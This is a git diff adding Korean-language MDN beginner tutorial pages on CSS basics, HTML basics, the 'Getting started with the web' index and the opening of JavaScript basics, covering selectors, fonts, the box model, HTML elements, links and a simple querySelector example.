+ <p class="my-class"> 와 <a class="my-class"> 를 선택
속성 선택자특정 속성을 갖는 페이지의 요소.img[src]
+ <img src="myimage.png"> 를 선택하지만 <img>  는 선택 안함
수도(Pseudo) 클래스 선택자특정 요소이지만 특정 상태에 있을 때만, 예를 들면, hover over 상태일 때.a:hover
+ <a> 를 선택하지만, 마우스 포인터가 링크위에 있을 때만 선택함
+ +

탐구할 더 많은 선택자가 있습니다. 더 자세한 목록은 선택자 가이드에서 찾아보세요.

+ +

글꼴과 문자

+ +

지금까지 약간의 CSS 기본에 대해 살펴보았습니다, 우리의 예제가 멋있게 보이도록 style.css 파일에 더  많은 rule 과 정보를 추가해 봅시다. 우선, 글꼴과 문자가 조금 더 나아보이도록 해보죠.

+ +
+

노트: "px" 가 무슨 뜻인지 설명하는 주석을 추가해 두었습니다. CSS 문서의 /* 와 */ 사이에 있는 것은 브라우저가 코드를 표현할 때 무시하는 CSS 주석입니다. 여러분이 하고 있는 것에 대한 유용한 메모를 작성하기 위한 공간입니다.

+
+ +
    +
  1. 먼저, 돌아가서 여러분이 안전한 어딘가에 저장해 두었던 구글 글꼴의 결과물을 찾으세요. index.html 의 head 안 어딘가에 <link> 요소를 추가하세요 (다시 말해서, <head> 와 </head> 태그 사이 어디에나). 이런식이 될 겁니다: + +
    <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    +
  2. +
  3. 다음으로, style.css 파일에 이미 존재하는 rule 을 지우세요. 좋은 테스트였지만, 빨간색의 글자가 정말 좋아 보이지는 않습니다.
  4. +
  5. 아래의 코드를 해당 위치에 추가하고, 구글 폰트로부터 얻은 font-family 코드를 placeholder 줄에 덮어쓰세요. (font-family 는 여러분이 글자를 위해 사용하길 원하는 글꼴을 의미합니다.) 이 rule 은 먼저 전체 페이지의 글자 크기와 기본 글꼴을 설정합니다. (html이 전체 페이지의 부모 요소일 때, 이 안의 모든 요소는 같은 font-sizefont-family 를 물려 받습니다): +
    html {
    +  font-size: 10px; /* px 은 'pixels' 를 의미합니다: 기본 글자 크기는 현재 10 pixels 높이입니다. */
    +  font-family: placeholder: 구글 폰트로부터 여러분이 얻은 마지막 결과가 있어야합니다.
    +}
    +
  6. +
  7. 이제 HTML body 안에 문자를 포함하는 요소 h1, li 및 p 를 위해 글자 크기를 설정할 것입니다. 또한 조금 더 읽기 좋게 하기 위해 body 콘텐츠의 제목을 가운데 정렬하고 줄의 높이(line-height)와 자간(lettet-spacing)도 설정할 것입니다: +
    h1 {
    +  font-size: 60px;
    +  text-align: center;
    +}
    +
    +p, li {
    +  font-size: 16px;
    +  line-height: 2;
    +  letter-spacing: 1px;
    +}
    +
  8. +
+ +

px(픽셀) 값들은 여러분이 원하는대로 조정할 수 있지만, 여러분이 원하는 디자인을 얻도록, 여러분의 디자인은 이런식으로 보여야 합니다:

+ +

a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered

+ +

박스, 박스, 박스의 모든 것

+ +

CSS 작성에서 여러분이 알게 될 한 가지는 많은 것들이 박스에 관한 것이라는 겁니다 — 그들의 크기, 색상, 위치 등을 설정하는 것. 여러분의 페이지에 있는 대부분의 HTML 요소들은 서로의 위에 놓여있는 박스로 생각해볼 수 있습니다.

+ +

a big stack of boxes or crates sat on top of one another

+ +

놀랍지 않게도, CSS 레이아웃은 박스모델 을 주 기반으로 하고 있습니다. 여러분의 페이지의 공간을 차지하고 있는 각각의 블록들은 이와 같은 속성들을 가집니다:

+ + + +

three boxes sat inside one another. From outside to in they are labelled margin, border and padding

+ +

여기서 이런 것도 사용합니다:

+ + + +

그럼, 우리의 페이지에 더 많은 CSS를 추가해봅시다! 페이지의 아래에 이러한 새로운 rule 을 계속 추가하세요, 그리고 값을 바꾸는 실험을 통해 이것이 어떤 결과가 나타나는지 보는것을 두려워하지 마세요.

+ +

페이지 색 바꾸기

+ +
html {
+  background-color: #00539F;
+}
+ +

이 rule 은 전체 페이지를 위한 배경색을 설정합니다. 위의 색상 코드를 여러분의 사이트를 계획할 때 선택했던 색으로 변경하세요.

+ +

body 외부 정렬하기

+ +
body {
+  width: 600px;
+  margin: 0 auto;
+  background-color: #FF9500;
+  padding: 0 20px 20px 20px;
+  border: 5px solid black;
+}
+ +

이제는 body 요소를 위한 것입니다. 여기 적지 않은 선언들이 있습니다. 하나 하나 모두 살펴 봅시다:

+ + + +

메인 페이지 제목 배치하고 꾸미기

+ +
h1 {
+  margin: 0;
+  padding: 20px 0;
+  color: #00539F;
+  text-shadow: 3px 3px 1px black;
+}
+ +

여러분은 바디의 상단에 끔찍한 틈이 있다는 것을 알아차리셨을 겁니다. 브라우저가 h1 요소에 (다른 것들 사이에서) 어떤 초기 스타일링을 적용하기 때문에 발생합니다, 심지어 여러분이 아무런 CSS 를 적용하지 않았을 때도요! 안좋은 아이디어로 들릴수도 있지만, 우리는 꾸며지지 않은 웹사이트일지라도 기본적인 가독성을 갖기를 원합니다. margin: 0;.설정에 의해 초기 스타일링을 덮어쓰는 것으로 그 틈을 제거할 수 있습니다.

+ +

다음으로, 제목의 상단과 하단 padding 을 20 pixels로 설정하고, 제목 글자 색을 html 배경색과 같게 만들었습니다.

+ +

여기서 사용했던 꽤 흥미로운 속성 하나는 text-shadow 문자로, 요소의 문자 콘텐츠에 그림자를 적용해줍니다. 네 개의 값들은 다음과 같습니다:

+ + + +

다시, 여러분이 무엇을 확인해 볼 수 있는지 다른 값으로 실험을 해보세요.

+ +

이미지 가운데 정렬

+ +
img {
+  display: block;
+  margin: 0 auto;
+}
+ +

마지막으로, 이미지를 더 나아보이도록 가운데로 둘 것입니다. 전에 body 에서 했듯이 다시 margin: 0 auto 트릭을 사용해 볼 수 있지만, 무언가 더 해야할 필요가 있습니다. body 요소는 block level 입니다. 이것은 페이지의 공간을 차지하고, margin 과 여기에 적용된 다른 여백값을 가질 수 있다는 것을 의미합니다. 반면에 이미지는 inline 요소 입니다. 이것은 그렇지 못함을 의미합니다. 따라서 이미지에 margin 을 적용하기 위해서는,  display: block; 을 사용해 이미지에 block-level 성질을 주어야 합니다.

+ +
+

노트: 위의 지침에서는 body에 설정된 너비(600 픽셀) 보다 작은 이미지를 사용한다고 가정합니다. 이미지가 더 크면 body가 넘쳐 페이지의 나머지 부분으로 유출됩니다. 이 문제를 해결하려면 1) 그래픽 편집기를 사용하여 이미지의 너비를 줄이거나 2) 더 작은 값(예: 400px)  으로 <img> 요소에 width 속성을 설정하고 CSS를 사용하여 이미지 크기를 조정할 수 있습니다.

+
+ +
+

노트: 아직 display: block; 과 block-level/inline 차이를 이해하지 못하였더라도 걱정하시마세요. CSS 를 더 깊게 공부하면 이해하실 수 있을것입니다. display 의 여러 값들에 대한 더 많은 정보는 display 참조 페이지에서 찾아보세요.

+
+ +

마무리

+ +

이 글의 모든 설명을 따라오셨다면, 이와 같이 보이는 페이지가 되실 겁니다. (여기서 확인하실 수도 있습니다):

+ +

a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.

+ +

혹시 막히셨다면, 여러분의 코드와 Github에 있는 우리의 예제 코드와 항상 비교해보세요.

+ +

여기서, 우리는 CSS의 겉만 살짝 맛봤습니다. 더 많은 것이 알고 싶으시면 CSS 배우기 페이지로 가보세요.

+ +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}

+ +

이번 과목에서는

+ + diff --git "a/files/ko/learn/getting_started_with_the_web/html_\352\270\260\353\263\270/index.html" "b/files/ko/learn/getting_started_with_the_web/html_\352\270\260\353\263\270/index.html" new file mode 100644 index 0000000000..530f3fe11f --- /dev/null +++ "b/files/ko/learn/getting_started_with_the_web/html_\352\270\260\353\263\270/index.html" @@ -0,0 +1,234 @@ +--- +title: HTML 기본 +slug: Learn/Getting_started_with_the_web/HTML_기본 +tags: + - Beginner + - HTML + - Learn + - Web + - 'l10n:priority' + - 입문자 +translation_of: Learn/Getting_started_with_the_web/HTML_basics +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}
+ +
+

HTML(Hypertext Markup Language)은 웹 페이지와 그 내용을 구조화하기 위해 사용하는 코드입니다. 예를 들면, 컨텐트는 여러 개의 문단, 글 머리 목록이 구조화된 것이거나 사진이나 데이터 테이블일 수도 있습니다. 제목과 같이 이 글은 HTML과 그 기능에 대한 기본적인 이해를 제공할 것입니다.

+
+ +

그래서 HTML은 무엇일까요?

+ +

HTML 은 프로그래밍 언어가 아닙니다;  컨텐츠의 구조를 정의하는 마크업 언어입니다. HTML은 컨텐츠의 서로 다른 부분들을 씌우거나(wrap) 감싸서(enclose) 다른 형식으로 보이게하거나 특정한 방식으로 동작하도록 하는 일련의 요소({{Glossary("element", "elements")}})로 이루어져 있습니다. {{Glossary("tag", "tags")}}로 감싸는 것으로 단어나 이미지를 다른 어딘가로 하이퍼링크(hyperlink)하거나 단어들을 이탤릭체로 표시하고 글씨체를 크게 또는 작게 만드는 등의 일을 할 수 있습니다. 예를 들어, 다음과 같은 컨텐츠에 대해:

+ +
내 고양이는 고약해
+
+ +

그 한 줄의 문장이 독립적인 구문이길 원한다면, 문단 태그(paragraph tags)로 둘러쌈으로해서 그것이 하나의 문단임을 명시할 수 있습니다:

+ +
<p>내 고양이는 고약해</p>
+ +

HTML 요소 분석

+ +

이 문단 요소에 대해 조금 더 탐구해봅시다.

+ +

+ +

이 요소의 주요 부분은 이렇습니다:

+ +
    +
  1. 여는 태그(opening tag): 이것은 요소의 이름으로 구성되고 (여기에서는 p), 여닫는 꺾쇠괄호로 감싸집니다. 이것은 요소가 시작되는 곳, 또는 효과를 시작하는 곳임을 나타냅니다 — 이 예제에서는 문단이 시작되는 위치를 나타냅니다.
  2. +
  3. 닫는 태그(closing tag): 이것은 여는 태그와 같지만, 요소의 이름 앞에 전방향 슬래시가 포함된다는 점이 다릅니다. 이것은 요소의 끝을 나타냅니다 — 이 예제에서는 문단이 끝나는 위치를 나타냅니다. 초보자가 가장 흔히 범하는 오류 중 하나가 닫는 태그를 쓰지 않는 것으로 이상한 결과가 표시됩니다.
  4. +
  5. 컨텐츠(content): 이것은 요소의 내용(content)으로 이 예제에서는 그냥 텍스트입니다.
  6. +
  7. 요소(element): 요소는 여는 태그와 닫는 태그, 그리고 컨텐츠로 이루어집니다.
  8. +
+ +

요소는 속성도 가질 수 있는데, 다음과 같이 사용합니다:

+ +

+ +

속성은 실제 컨텐츠로 표시되길 원하지 않는 추가적인 정보를 담고 있습니다. 이 예제에서, class 속성을 이용해 나중에 해당 요소를 특정해 스타일이나 다른 정보를 설정할 때 사용할 수 있는 식별자를 지정할 수 있습니다.

+ +

속성이 항상 가져야 하는 것:

+ +
    +
  1. 요소 이름 (또는 요소가 하나 이상 속성을 이미 가지고 있다면 이전 속성)과 속성 사이에 공백이 있어야 합니다.
  2. +
  3. 속성 이름 뒤에는 등호(=)가 와야 합니다.
  4. +
  5. 속성 값의 앞 뒤에 열고 닫는 인용부호(" 또는 ')가 있어야 합니다.
  6. +
+ +

요소 중첩

+ +

여러분은 요소를 다른 요소의 안에 놓을 수 있습니다 — 이것을 중첩(nesting)이라고 부릅니다. 우리 고양이는 아주 고약하다라고 표시하길 원한다면, 단어를 강조하는 용도로 사용하는{{htmlelement("strong")}} 요소로 "아주"를 감싸면 됩니다:

+ +
<p>내 고양이는 <strong>아주</strong> 고약해.</p>
+ +

하지만 요소가 적절히 중첩되었는지 확인할 필요가 있습니다: 위의 예제에서 우리는 <p> 요소를 먼저 열었고, 그 다음 strong을 열었기 때문에 strong 요소를 먼저 닫고, 다음으로 p를 닫아야 합니다. 다음은 잘못된 예제 입니다:

+ +
<p>내 고양이는 <strong>아주 고약해.</p></strong>
+ +

요소들이 적절히 열고 닫혀야 서로가 깔끔하게 안쪽이나 바깥쪽에 있게 됩니다. 만약 이렇게 겹치게 되면, 웹 브라우저는 여러분이 무엇을 표현하려고 했었는지 추측을 해서 화면에 보여주겠지만, 여러분이 의도한 것과 다르게 보여질 수 있습니다. 그러니까 이렇게 하지 마세요!

+ +

빈 요소

+ +

어떤 요소들은 내용을 갖지 않습니다, 그리고 이것을 빈 요소(empty elements)라고 합니다. {{htmlelement("img")}} 요소는 이미 우리 HTML 코드에 있습니다.

+ +
<img src="images/firefox-icon.png" alt="My test image">
+ +

이 요소는 두 개의 속성을 포함하고 있으나 닫는 </img> 태그가 없습니다. 이미지 요소는 효과를 주기 위해 컨텐츠를 감싸지 않기 때문입니다. 이 요소의 목적은 HTML 페이지에서 이미지가 나타날 위치에 이미지를 끼워 넣는 것입니다.

+ +

HTML 문서 해부

+ +

각 HTML 요소의 기본적인 내용들은 살펴봤지만, 그것만으로는 별로 유용하지 않습니다. 이제 각 요소들이 어떻게 전체 HTML 페이지를 구성하는지 살펴볼 차례입니다. index.html 예제(파일들 다루기 편에서 처음 봤던)에 넣은 코드를 다시 살펴봅시다:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>My test page</title>
+  </head>
+  <body>
+    <img src="images/firefox-icon.png" alt="My test image">
+  </body>
+</html>
+ +

살펴볼 것들:

+ + + +

이미지

+ +

{{htmlelement("img")}} 요소를 다시 살펴보도록 합시다:

+ +
<img src="images/firefox-icon.png" alt="My test image">
+ +

앞에서 설명한 것처럼 이 요소는 이미지가 나타나야 할 위치에 이미지를 끼워 넣습니다. 이미지 파일의 경로를 포함하는 src (source) 속성을 통해 이러한 일을 합니다.

+ +

 alt (alternative) 속성도 존재합니다. — 이 속성에는 다음과 같은 이유로 이미지를 볼 수 없는 사용자들을 위한 설명문(descriptive text)을 지정할 수 있습니다.:

+ +
    +
  1. 시각 장애자인 경우. 시각 장애가 심한 사용자들은 alt 텍스트(대체 텍스트)를 읽어주는 스크린 리더라는 도구를 자주 사용합니다.
  2. +
  3. 무언가 잘못되어서 이미지를 표시할 수 없는 경우. 예를 들면, src 속성 안의 경로를 일부러 틀리게 변경해보세요. 저장한 후에 페이지를 다시 열면, 이미지가 표시되어야할 위치에 다음과 같은 것을 보게 될 것입니다.
  4. +
+ +

+ +

alt 텍스트에서 핵심 단어는 "설명적인 문자(descriptive text)" 입니다. 여러분이 작성하는 alt 텍스트는 독자에게 이미지가 전달하는 어떤 것에 대해 좋은 아이디어를 가지기에 충분한 정보를 제공해야 합니다. 이 예제에서 "My test image"라는 현재의 텍스트는 전혀 좋지 않습니다. Firefox 로고에 대해서는 "파이어폭스 로고: 지구를 둘러싼 타오르는 여우"가 훨씬 나은 대안이될 수 있습니다.

+ +

지금 여러분의 이미지를 위한 더 나은 alt 텍스트를 만들어보세요.

+ +
+

노트: 접근성에 대한 더 많은 것은 MDN의 페이지 접근성 시작하기에서 찾아보세요.

+
+ +

문자 나타내기

+ +

여기에서는 문자를 나타내기 위해 사용하는 몇 개의 기본적인 HTML 엘리먼트를 다룰 것입니다.

+ +

제목

+ +

제목 요소는 여러분이 내용의 특정 부분이 제목 또는 내용의 하위 제목임을 구체화 할 수 있게 해줍니다. 책에 중심 제목이 있고 그 다음 각각의 장에 제목을 가지고, 그리고 그 안에 부제가 있는 것과 같은 방식으로 HTML 문서도 제목들을 갖습니다. HTML 은 여섯 단계의 제목을 갖고, {{htmlelement("h1")}}–{{htmlelement("h6")}} 여러분은 아마 3-4 만을 주로 사용하게 될겁니다:

+ +
<h1>My main title</h1>
+<h2>My top level heading</h2>
+<h3>My subheading</h3>
+<h4>My sub-subheading</h4>
+ +

지금 한번 해보세요, 여러분의 HTML 페이지에 있는 {{htmlelement("img")}} 요소 위에 적당한 제목을 추가합시다.

+ +

문단

+ +

위에서 설명했듯이, {{htmlelement("p")}} 요소는 문자의 문단을 포함하기 위한 것입니다; 일반적인 문자 내용을 나타낼 때 많이 사용하게 될 것입니다:

+ +
<p>This is a single paragraph</p>
+ +

간단한 문자 (웹사이트의 외관은 어떻게 할까요? 에서 보셨을겁니다)를 하나 또는 몇 개의 문단에 추가하고, <img> 요소 바로 아래 둡시다.

+ +

목록

+ +

많은 웹의 내용은 목록이기 때문에, HTML은 이것을 위한 특별한 요소를 가지고 있습니다. 목록을 나타내는 것은 항상 최소 두 개의 요소로 구성됩니다. 가장 일반적인 목록의 종류는 순서가 있는 것과 순서 없는 것이 있습니다.

+ +
    +
  1. 순서 없는 목록은 쇼핑 목록과 같이 항목의 순서에 관계가 없는 목록을 위한 것입니다. {{htmlelement("ul")}} 요소로 둘러 쌓여 있습니다.
  2. +
  3. 순서 있는 리스트는 조리법처럼 항목의 순서가 중요한 목록을 위한 것입니다. {{htmlelement("ol")}} 요소로 둘러 쌓여 있습니다.
  4. +
+ +

목록의 각 항목은 {{htmlelement("li")}} (목록 항목) 요소 안에 놓여야 합니다.

+ +

그러니까 예를 들면, 만약 아래 문단의 한 부분을 목록으로 분리하길 원한다면:

+ +
<p>At Mozilla, we’re a global community of technologists, thinkers, and builders working together ... </p>
+ +

이렇게 해볼 수 있습니다:

+ +
<p>At Mozilla, we’re a global community of</p>
+
+<ul>
+  <li>technologists</li>
+  <li>thinkers</li>
+  <li>builders</li>
+</ul>
+
+<p>working together ... </p>
+ +

여러분의 예시 페이지에서 순서 있는 목록과 순서 없는 목록을 추가해보세요.

+ +

연결

+ +

연결은 아주 중요합니다 — 이것은 웹을 웹으로 만들어줍니다. 연결을 하기 위해, 간단한 요소를 사용할 필요가 있습니다 — {{htmlelement("a")}} — a 는 "anchor" 의 약자입니다. 문장 안의 어떤 단어를 링크로 만들기 위해, 아래의 순서를 따르시면 됩니다:

+ +
    +
  1. 어떤 단어를 선택하세요. "Mozilla Manifesto" 를 선택하겠습니다.
  2. +
  3. 문자를 <a> 요소로 감쌉니다, 이렇게요: +
    <a>Mozilla Manifesto</a>
    +
  4. +
  5. <a> 요소에 href 속성을 줍니다, 이렇게요: +
    <a href="">Mozilla Manifesto</a>
    +
  6. +
  7. 이 속성의 값에 여러분이 연결하길 원하는 웹 주소를 채웁니다.: +
    <a href="https://www.mozilla.org/en-US/about/manifesto/">Mozilla Manifesto</a>
    +
  8. +
+ +

만약 웹 주소의 시작부분에 프로토콜이라 불리는 https:// 또는 http:// 부분을 빼먹으셨다면 예상하지 못한 결과를 얻을 것입니다. 이렇게 링크를 만든 후에, 원하는 곳으로 이동하는지 클릭해보세요.

+ +
+

처음에는 href 라는 속성 이름이 꽤 어렵게 보일수도 있습니다. 만약 기억하기가 어려우시다면, 이것은 hypertext reference(하이퍼 텍스트 참조)를 나타낸다는 것을 기억하세요.

+
+ +

아직 여러분의 페이지에 링크를 추가하지 않으셨다면, 지금 추가해보세요.

+ +

마무리

+ +

이 글의 모든 설명을 따라오셨다면, 이와 같이 보이는 페이지가 될 겁니다. (여기서도  볼 수 있습니다):
+
+ A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text

+ +

잘 안 된다면, 여러분의 코드를 Github에 있는 예제 코드를 비교해 볼 수 있습니다. 

+ +

여기서, 우리는 HTML의 겉을 살짝 맛봤습니다. 더 알아보기 위해, HTML 배우기 페이지로 가보세요.

+ +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}

+ + + +

이번 모듈에서는

+ + diff --git a/files/ko/learn/getting_started_with_the_web/index.html b/files/ko/learn/getting_started_with_the_web/index.html new file mode 100644 index 0000000000..5ccbd0ea75 --- /dev/null +++ b/files/ko/learn/getting_started_with_the_web/index.html @@ -0,0 +1,64 @@ +--- +title: Web과 함께 시작하기 +slug: Learn/Getting_started_with_the_web +tags: + - Beginner + - CSS + - Design + - Guide + - HTML + - Index + - 'l10n:priority' + - 가이드 + - 초보자 +translation_of: Learn/Getting_started_with_the_web +--- +
{{LearnSidebar}}
+ +
+

Web과 함께 시작하기(Getting stated with the Web)는 여러분에게 웹 개발의 실질적인 측면을 소개하는 간결한 시리즈입니다. 여러분은 간단한 웹페이지를 만들 때 필요한 도구를 설치하고 여러분의 코드를 게시할 것입니다.

+
+ +

당신의 첫 번째 웹사이트 줄거리

+ +

전문적인 웹사이트를 생성하기 위해서는 매우 많은 작업이 필요합니다. 그러니 웹 개발이 처음이라면, 처음은 작게 시작해보세요. 지금 당장 Facebook을 만들 수는 없지만, 자신만의 간단한 온라인 웹사이트를 만드는 건 그리 어렵지 않으니 여기부터 시작하겠습니다.

+ +

아래 나열한 항목을 순서대로 진행하면 백지부터 시작해서 첫 웹페이지를 인터넷에 띄울겁니다. 시작합시다!

+ +

기본 소프트웨어 설치하기(Installing basic software)

+ +

웹사이트 제작을 위한 도구는 아주 많습니다. 이제 막 시작한다면 수도 없이 많은 코드 편집기와 프레임워크, 테스트 도구 때문에 혼란스러울 겁니다.기본 소프트웨어 설치하기에서는 기본적인 웹 개발을 시작하기 위해 필요한 소프트웨어를 어떻게 설치할 수 있는지 차근차근 알려드립니다.

+ +

웹사이트의 외관은 어떻게 할까요?(What will your website look like?)

+ +

여러분의 웹사이트를 위한 코드 작성을 하기 전에, 먼저 계획을 세워야 합니다. 어떤 정보들을 강조할 건가요? 어떤 글꼴이나 색상을 사용할 것인가요? 웹사이트의 외관은 어떻게 할까요?에서 우리는 여러분이 사이트의 내용이나 디자인을 계획하기 위해 따라할 수 있는 간단한 방법을 제공할 것입니다.

+ +

파일 다루기(Dealing with files)

+ +

웹사이트는 많은 파일(문자, 코드, 스타일시트, 미디어, 등등)로 이루어져 있습니다. 웹사이트를 만들 때, 여러분은 합리적인 구조로 여러 파일을 모으고 서로 상호 작용이 가능한지 확인해야 합니다. 파일 다루기에서 여러분의 웹사이트를 위해 합리적인 파일 구조를 설정하는 방법과 여러분이 알아야 할 문제들을 설명할 것입니다.

+ +

HTML 기본

+ +

HTML(Hypertext Markup Language)은 여러분의 웹 컨텐츠를 구조화하고, 의미와 의도를 주기위해 사용되는 코드입니다. 예를 들면, 내 컨텐츠가 문단의 집합인지, 또는 목차(*)의 리스트인지? 내 페이지에 이미지를 넣어야 하는지?  데이터 테이블이 필요한지? 여러분을 난처하지 않게하면서, HTML 기본은 여러분이 HTML에 익숙해질 수 있도록 충분한 정보를 제공할 것입니다.

+ +

CSS 기본

+ +

CSS(Cascading Style Sheets)는 여러분의 웹사이트를 꾸밀 때 사용하는 코드입니다. 예를 들면, 글자 색을 검정과 빨강 중 어느걸 하실건가요? 아니면 컨텐츠를 화면 어디에 표시해야 하나요? 웹사이트를 장식하려면 어떤 배경 이미지나 색을 사용하실 건가요? CSS 기본으로 시작에 필요한 모든걸 준비해보세요.

+ +

JavaScript 기본

+ +

JavaScript는 여러분이 인터렉티브한 기능을 웹사이트에 추가할 때 사용하는 프로그래밍 언어입니다. 예를 들면 게임, 버튼이 눌리거나 폼에 정보가 입력되었을 때 발생하는 것, 동적인 스타일 효과, 애니매이션 등이 있습니다. JavaScript 기본은 여러분께 이 흥미로운 언어로 가능한 것들에 대한 것과 어떻게 시작할 수 있는지에 대한 아이디어를 제공할 것입니다.

+ +

웹사이트 출판하기

+ +

일단 여러분이 코드 작성과 웹사이트를 위한 파일 구성을 마쳤다면, 사람들이 찾아볼 수 있도록 이 모든 것을 온라인에 둘 필요가 있습니다. 예제 코드 출판하기는 여러분이 간단한 예제 코드를 어떻게 최소한의 노력으로 얻을 수 있는지 설명할 것입니다.

+ +

웹의 동작 방식

+ +

여러분이 가장 선호하는 웹사이트에 접근할 때, 여러분이 모르는 많은 복잡한 것들이 눈에 띄지 않는 곳에서 발생합니다. 웹의 동작 방식은 여러분이 컴퓨터로 웹페이지를 볼 때 발생하는 것들에 대한 개략적인 설명을 할 것입니다.

+ +

같이 보기

+ +

Web Demystified: 웹 개발을 처음 시작하는 분을 위해 웹 기초를 설명하는 뛰어난 비디오 시리즈입니다. Jérémie Patonnier가 제작했습니다.

+ +

The web and web standards: 이 글은 웹에 대한 유용한 배경지식을 알려줍니다. -- 웹이 어떻게 생겼는지, 웹의 표준 기술이 무엇인지, 어떻게 같이 작동하는지, 왜 "웹 개발자"가 직업으로 삼기 좋은지, 그리고 관련 과목들을 공부하면서 어떤 것들이 최선의 관행인지 알려줍니다.

diff --git a/files/ko/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ko/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..05e48cef49 --- /dev/null +++ b/files/ko/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,427 @@ +--- +title: JavaScript 기본 +slug: Learn/Getting_started_with_the_web/JavaScript_basics +tags: + - 자바스크립트 +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +--- +

{{LearnSidebar}}

+ +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}

+ +
+

자바스크립트는 여러분의 웹사이트에 상호작용성(예를 들면, 게임, 버튼이 눌리거나 폼에 자료가 입력될 때 반응, 동적인 스타일링과 애니메이션)을 더해 주는 프로그래밍 언어 입니다. 이 글은 여러분이 이 흥미로운 언어를 시작하는 것을 도와드리고 가능한 것에 대한 아이디어를 제공할 것입니다.

+
+ +

자바스크립트는 무엇인가?

+ +

{{Glossary("JavaScript")}} (줄여서 "JS")는 {{Glossary("HTML")}} 문서에 적용될 때, 웹사이트상에서 동적 상호작용성을 제공할 수 있는 완전한 동적 프로그래밍 언어({{Glossary("Dynamic programming language", "dynamic programming language")}})입니다. 이것은 Mozilla 프로젝트, Mozilla 재단, 그리고 Mozilla 법인의 공동 창설자인 Brendan Eich 에 의해 만들어졌습니다.

+ +

자바스크립트는 믿을 수 없을 정도로 다재다능합니다. 캐러셀 기능(이미지를 차례대로 바꿔볼 수 있는 기능)을 가진 이미지 갤러리, 변화하는 레이아웃, 그리고 버튼이 클릭될 때의 반응과 같은 간단한 것부터 시작할 것입니다. 경험이 더 쌓이면 게임이나 움직이는 2D 및 3D 그래픽, 포괄적인 데이터베이스 지향적인 앱과 더 많은 것을 만들 수 있을 것입니다!

+ +

자바스크립트 그 자체는 상당히 작지만 아주 유연합니다. 개발자들은 코어 자바스크립트 언어(core JavaScript language) 위에서 동작하는 많은 다양한 도구를 개발해왔는데, 이를 이용하면 최소한의 수고로 엄청나게 많은 확장 기능을 사용할 수 있습니다. 여기에는 다음과 같은 것들이 포함됩니다:

+ + + +

이 글은 자바스크립트를 가볍게 설명하기 위한 목적으로 작성되어, 지금 단계에서는 여러분을 혼란스럽게 만들지 않기 위해 코어 자바스크립트 언어와 위에 나열된 다른 도구 사이에 어떤 차이가 있는지 상세하게 언급하지 않을 것입니다. 이와 관련해서는 MDN의 나머지 글이나 자바스크립트 학습 영역(JavaScript learning area)에서 자세하게 배울 수 있습니다.

+ +

"Hello world" 예시

+ +

위의 섹션은 정말 흥분되게 만드는데 — 자바스크립트는 가장 활발한 웹 기술 중 하나이고, 이것을 잘 활용할 수 있게되면 여러분의 웹사이트는 새로운 차원의 힘과 창의성을 가지게될 것입니다.

+ +

하지만, 자바스크립트에 익숙해지는 것은 HTML과 CSS에 익숙해지는 것보다는 조금 더 어렵습니다. 여러분은 간단한 것부터 시작해 조금씩 지속적으로 꾸준히 나가야 할 것입니다. 시작하기에 앞서 "Hello world!" 예제(기본적인 프로그래밍 예제의 표준)를 작성해 봄으로써 어떻게 페이지에 기본적인 자바스크립트를 추가할 수 있는지를 보여드릴 것입니다.

+ +
+

중요: 여러분이 우리의 나머지 코스를 따라오지 않으셨다면, 이 예제 코드를 다운 받으시고 이것을 시작점으로 사용하세요.

+
+ +
    +
  1. 먼저, 여러분의 테스트 사이트로 가서 scripts라는 새로운 폴더를 생성하세요. 다음으로 방금 만든 스크립트 폴더 내에 main.js 라는 새 파일을 생성하세요. 그 파일을 scripts 폴더에 저장하시면 됩니다.
  2. +
  3. 다음은, index.html 파일로 가서 닫는 </body> 태그의 바로 앞에 새로운 줄을 추가하고 다음 요소를 입력하세요: +
    <script src="scripts/main.js"></script>
    +
  4. +
  5. 이것은 기본적으로 CSS 참조를 위해 {{htmlelement("link")}} 요소를 추가할 때와 같은 일을 하는 것입니다 — 페이지에 자바스크립트를 적용하여 HTML에 영향을 줄 수 있습니다(CSS와 함께, 페이지의 다른 것들에도).
  6. +
  7. 이제 main.js 파일에 다음 코드를 추가하세요: +
    let myHeading = document.querySelector('h1');
    +myHeading.textContent = 'Hello world!';
    +
  8. +
  9. 끝으로, HTML과 자바스크립트 파일이 저장되었는지 확인하시고, 브라우저에서 index.html를 열어보세요. 여러분은 다음과 같은 것을 보게 될 것입니다:
  10. +
+ +
+

참고: {{htmlelement("script")}} 요소를 HTML 파일의 맨 아래쪽 근처에 둔 이유는 HTML은 파일 내에 나타나는 순서대로 브라우저에 로드(load)되기 때문입니다. 만약 자바스크립트가 먼저 로드되고 자신의 아래 쪽에 있는 HTML에 영향을 준다고 하면, 영향을 줄 HTML 보다 먼저 자바스크립트가 로드되기 때문에 작동하지 않을 것입니다. 따라서, HTML 페이지의 맨 아래쪽 근처에 자바스크립트를 두는 것이 최고의 전략입니다.

+
+ +

무슨 일이 발생했나요?

+ +

자바스크립트를 이용하여 본문 제목 텍스트를 "Hello world!"로 변경하였습니다. 먼저 {{domxref("Document.querySelector", "querySelector()")}}라는 함수를 이용하여 본문 제목에 대한 참조를 myHeading이라는 변수에 저장하였습니다. 이는 CSS 선택자(selectors)를 이용하는 것과 아주 유사합니다. 어떤 요소에 뭔가 하길 원하면, 먼저 그것을 선택해야 합니다.

+ +

